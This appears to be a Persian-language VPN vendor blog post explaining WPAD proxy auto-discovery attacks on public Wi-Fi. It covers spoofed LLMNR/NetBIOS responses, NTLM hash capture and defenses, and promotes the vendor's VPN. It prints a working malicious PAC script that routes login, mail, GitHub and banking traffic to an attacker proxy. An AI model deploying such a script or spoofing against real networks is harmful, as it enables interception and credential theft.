شما در یک کافه شلوغ در ایستگاه راه‌آهن می‌نشینید، لپ‌تاپ خود را به شبکه وای‌فای عمومی متصل می‌کنید و برای بررسی رایانامه‌های کاری مرورگر را باز می‌نمایید. علامت قفل در نوار نشانی به درستی نشان‌دهنده یک نشست رمزنگاری‌شده HTTPS است. هیچ هشداری مبنی بر نامعتبر بودن گواهی امنیتی دریافت نکرده‌اید، پروفایل مشکوکی نصب نشده و روی پیوند ناشناسی کلیک نکرده‌اید. همه چیز امن به نظر می‌رسد. اما در پس‌زمینه و بدون نمایش هیچ هشداری روی نمایشگر، سیستم‌عامل شما فایلی حاوی کدهای جاوااسکریپت را از دستگاهی ناشناس در همان سالن بارگیری کرده، آن رایانه را به عنوان سرور پروکسی مرکزی برای تمامی ارتباطات وب شما برگزیده و کوکی‌های احراز هویت شما را مستقیماً به سوی درگاه شنود مهاجم هدایت کرده است.

این شیوه پنهان نفوذ نه به آسیب‌پذیری‌های ناشناخته روز صفر تکیه دارد و نه به حدس زدن گذرواژه‌ها. این حمله از پروتکلی قدیمی مربوط به اواخر دهه ۱۹۹۰ بهره‌برداری می‌کند که هنوز در صدها میلیون رایانه مدرن به صورت پیش‌فرض فعال است: پروتکل کشف خودکار پروکسی وب (Web Proxy Auto-Discovery یا WPAD).

خاستگاه معماری: ترجیح آسایش بر مرزهای امنیتی

برای پی بردن به علت خطرات شدید پروتکل WPAD در شبکه‌های عمومی، باید به چرایی پیدایش آن نگریست. در دوران رشد فزاینده شبکه‌های سازمانی در اواخر دهه ۱۹۹۰، مدیران فناوری اطلاعات به راهکاری نیاز داشتند تا رایانه‌های کارکنان به محض اتصال به شبکه داخلی، ترافیک وب را به صورت خودکار از سرورهای پروکسی محلی (جهت ذخیره‌سازی موقت و کنترل ترافیک) عبور دهند، بدون آنکه نیاز باشد هر رایانه به صورت دستی تنظیم شود.

پیش‌نویس ارائه‌شده در کارگروه مهندسی اینترنت (IETF) در سال ۱۹۹۹ سازوکاری ساخت که عمدتاً در سکوت پس‌زمینه کار می‌کند. هر بار که سیستم‌عامل به رابط شبکه جدیدی متصل می‌شود، پشته شبکه سلسله پرس‌وجوهایی را برای پاسخ به این پرسش آغاز می‌کند: "فایل پیکربندی خودکار پروکسی (PAC) برای این شبکه کجاست؟"

[ رایانه کاربر ]
       |
       | ۱. ارسال بسته DHCP Inform (گزینه ۲۵۲) -> "نشانی wpad.dat کجاست؟"
       +---------------------------------------------> [ درگاه شبکه محلی ]
       |                                                    (بدون پاسخ)
       | ۲. پرس‌وجوی سامانه نام دامنه: wpad.local / wpad.cafe.internal
       +---------------------------------------------> [ سرور تحلیل‌گر DNS ]
       |                                                    (پاسخ عدم وجود NXDOMAIN)
       | ۳. انتشار پیام همگانی در شبکه محلی: LLMNR / NetBIOS با پیام "WPAD"
       +---------------------------------------------> [ کل زیرشبکه وای‌فای ]
                                                             |
                                                             v
                                               [ مهاجم حاضر در همان شبکه ]
                                               (پاسخ می‌دهد: "من WPAD هستم! فایل PAC را دریافت کن!")

نقص بنیادین این پروتکل در ساختار آبشاری جستجوی آن نهفته است. چنانچه درگاه اصلی شبکه پاسخی ارائه ندهد، رایانه دامنه کاوش خود را گسترش داده و از پرس‌وجوهای مستقیم به سوی فریادهای همگانی بدون احراز هویت در سطح زیرشبکه تغییر وضعیت می‌دهد.

توالی آبشاری جستجو: دعوتی ناخواسته از استراق‌سمع‌کنندگان

هنگامی که ویندوز یا مرورگرها برای تنظیمات پروکسی جستجو می‌کنند، این مراحل را پی می‌گیرند:

۱. گزینه DHCP Option 252

در زمان اتصال، کلاینت بسته‌ای ارسال می‌کند تا بررسی کند آیا سرور DHCP مقدار گزینه ۲۵۲ را تنظیم کرده است یا خیر. اگر این گزینه تعیین شده باشد، پیوندی مستقیم به فایل پیکربندی (مانند http://192.168.1.1/wpad.dat) بازگردانده می‌شود. با این حال، مسیریاب‌های خانگی یا کافه‌ها هرگز چنین تنظیمی ندارند و مرحله نخست بی‌پاسخ می‌ماند.

۲. تفکیک نام از طریق سامانه DNS

در صورت عدم دریافت پاسخ از DHCP، سیستم‌عامل نام wpad را با پسوندهای دامنه محلی ترکیب می‌کند. به عنوان مثال، اگر دامنه شبکه corp.local باشد، سیستم نشانی wpad.corp.local را استعلام می‌کند. در شبکه‌های عمومی با پیکربندی غیراستاندارد، این رویه ممکن است دامنه‌های سطح بالای اینترنتی (نظیر wpad.com) را استعلام کند که طبق هشدارهای مرکز CERT/CC خطر تداخل دامنه‌ها را به همراه دارد.

۳. پروتکل‌های چندپخشی محلی LLMNR و NetBIOS

چنانچه سامانه DNS اعلام کند رکوردی وجود ندارد (NXDOMAIN)، سیستم آخرین لایه آسیب‌پذیر خود را فعال می‌کند: ارسال پیام‌های همگانی در شبکه محلی. رایانه بسته‌ای UDP برای تمامی دستگاه‌های موجود در وای‌فای ارسال کرده و می‌پرسد: "آیا کسی در این شبکه نشانی IP مربوط به WPAD را می‌داند؟"

در یک وای‌فای عمومی، مهاجمی که ابزارهای پایش خودکار ترافیک نظیر Responder یا Inveigh را اجرا کرده، منتظر این بسته‌ها می‌ماند. به محض ارسال پرسش درباره wpad، دستگاه مهاجم پاسخی ساختگی ارسال می‌کند: "من wpad هستم. فایل پیکربندی را از وب‌سرور من در نشانی 192.168.1.145/wpad.dat دریافت کنید."

سیستم‌عامل این پاسخ را می‌پذیرد، به سرور مهاجم متصل شده، فایل wpad.dat را بارگیری می‌کند و قوانین پروکسی را روی کلیه ترافیک سیستم اعمال می‌نماید.

تحلیل فایل مخرب PAC: هدایت هوشمندانه داده‌ها

فایل PAC یک فهرست ساده از نشانی‌های شبکه نیست، بلکه یک برنامه کامل جاوااسکریپت شامل تابع الزامی FindProxyForURL(url, host) است.

پیش از برقراری هر ارتباط اینترنتی، این تابع اجرا می‌شود تا مسیر بسته تعیین گردد. مهاجم ساختار این اسکریپت را به دقت طراحی می‌کند:

function FindProxyForURL(url, host) {
    // ترافیک محلی و عادی به صورت مستقیم عبور کند تا جلب توجه نشود
    if (isPlainHostName(host) || dnsDomainIs(host, ".local")) {
        return "DIRECT";
    }

    // هدایت حساب‌های حساس، سامانه‌های ورود و خدمات بانکی به پروکسی
    if (dnsDomainIs(host, "login.microsoftonline.com") ||
        dnsDomainIs(host, "mail.google.com") ||
        dnsDomainIs(host, "github.com") ||
        shExpMatch(host, "*bank*")) {
        return "PROXY 192.168.1.145:8080; DIRECT";
    }

    // سایر وب‌سایت‌های عادی به صورت مستقیم باز شوند
    return "DIRECT";
}

با عبور دادن گزینشی داده‌های حیاتی از سرور جعلی و مستقیم نگه‌داشتن سایر درخواست‌ها، سرعت اینترنت حفظ می‌شود و کاربر متوجه هیچ افت سرعتی در تبادل اطلاعات نخواهد شد.

داده‌هایی که در اختیار مهاجم قرار می‌گیرد

با عبور ترافیک از سرور پروکسی واسط:

  • ترافیک غیررمزنگاری‌شده HTTP: تمامی اطلاعات از جمله گذرواژه‌ها، نشانه‌های نشست و نشانی صفحات افشا می‌شوند.
  • ارتباطات رمزنگاری‌شده HTTPS: هرچند محتوای پیام‌ها از طریق TLS محافظت می‌شود، پروکسی درخواست اولیه HTTP CONNECT را ثبت می‌کند. این امر نام دامنه مقصد (SNI)، درگاه ارتباطی، زمان و حجم داده‌ها را برملا می‌سازد.
  • تنزل احراز هویت و رله NTLM: بسیاری از سرویس‌های ویندوز در مواجهه با پروکسی، اقدام به ارسال خودکار اعتبارنامه‌های سازمانی می‌کنند. پروکسی جعلی با ارسال سرآیند Proxy-Authenticate: NTLM می‌تواند هش‌های رمز عبور را گردآوری کرده و از آن‌ها برای حملات بعدی استفاده کند.

راهکارهای دفاعی: مهار تله پروکسی پنهان

ایمن‌سازی رایانه‌ها در برابر این تهدید نیازمند غیرفعال‌سازی عملکردهای خودکار سیستم‌عامل و بهره‌گیری از تونل‌سازی رمزنگاری‌شده است.

۱. غیرفعال کردن شناسایی خودکار پروکسی در تنظیمات سیستم‌عامل

مگر در شبکه‌های سازمانی ویژه، این قابلیت باید همواره خاموش باشد:

  • در ویندوز ۱۱ و ۱۰: به بخش Settings و سپس Network & Internet > Proxy بروید. در بخش Automatic proxy setup، گزینه Automatically detect settings را روی حالت Off قرار دهید.
  • در سیستم‌عامل macOS: وارد System Settings و سپس Network شوید، وای‌فای فعال را انتخاب کرده و در بخش Details > Proxies تیک گزینه‌های مربوط به کشف خودکار پروکسی را بردارید.
  • در مرورگرها: در تنظیمات شبکه فایرفاکس حالت No proxy را برگزینید یا از تنظیمات اصلاح‌شده سیستم پیروی نمایید.

۲. غیرفعال‌سازی انتشار نام در پروتکل‌های LLMNR و NetBIOS

جلوگیری از ارسال پیام‌های همگانی در شبکه محلی، فرصت ارسال پاسخ‌های جعلی را سلب می‌کند:

  • ویرایشگر Local Group Policy Editor (gpedit.msc) را باز کنید.
  • مسیر Computer Configuration > Administrative Templates > Network > DNS Client را طی کنید.
  • گزینه Turn off multicast name resolution را یافته و آن را روی حالت Enabled تنظیم نمایید.

۳. جداسازی کامل ترافیک با VPNRice

اگرچه اعمال تنظیمات در سیستم‌عامل گامی ضروری است، اما برخی برنامه‌ها ممکن است به صورت مستقل اقدام به ارسال بسته‌های کشف پروکسی نمایند. مطمئن‌ترین شیوه حفاظت در شبکه‌های وای‌فای عمومی، هدایت کلیه داده‌ها درون تونل رمزنگاری‌شده VPNRice است.

اتصال به VPNRice با بهره‌گیری از پروتکل‌های امن نظیر RiceGuard یا RiceGuardX مخاطرات محلی را خنثی می‌سازد:

  • بی‌اثر کردن ترفندهای درگاه محلی: تمامی بسته‌ها پیش از خروج از کارت شبکه رمزگذاری می‌شوند. سرورهای جعلی DHCP و شنودکنندگان در وای‌فای مشترک نمی‌توانند پاسخ‌های ساختگی WPAD ارسال کنند.
  • تفکیک و رمزنگاری پرس‌وجوهای DNS: کلیه درخواست‌های نام دامنه به سوی سرورهای تحلیل‌گر اختصاصی VPNRice هدایت شده و مانع از مسموم‌سازی محلی DNS یا فعال شدن LLMNR می‌شود.
  • عزل ارتباطات دستگاه: فایروال اختصاصی برنامه مانع از دسترسی سایر دستگاه‌های متصل به وای‌فای به درگاه‌های شما شده و جلوی هدایت ترافیک به سرورهای واسط را می‌گیرد.

برای اطمینان از عدم نشت مسیرهای داخلی سیستم از طریق مرورگر، توصیه می‌شود از آزمون نشت WebRTC در VPNRice استفاده کرده و مسیر اتصال خارجی خود را با ابزار بررسی آدرس IP ارزیابی نمایید. غیرفعال‌سازی پروتکل‌های کهنه و هدایت امن داده‌ها درون تونل VPN، ضامن آرامش خاطر شما در تمامی شبکه‌های وای‌فای عمومی است.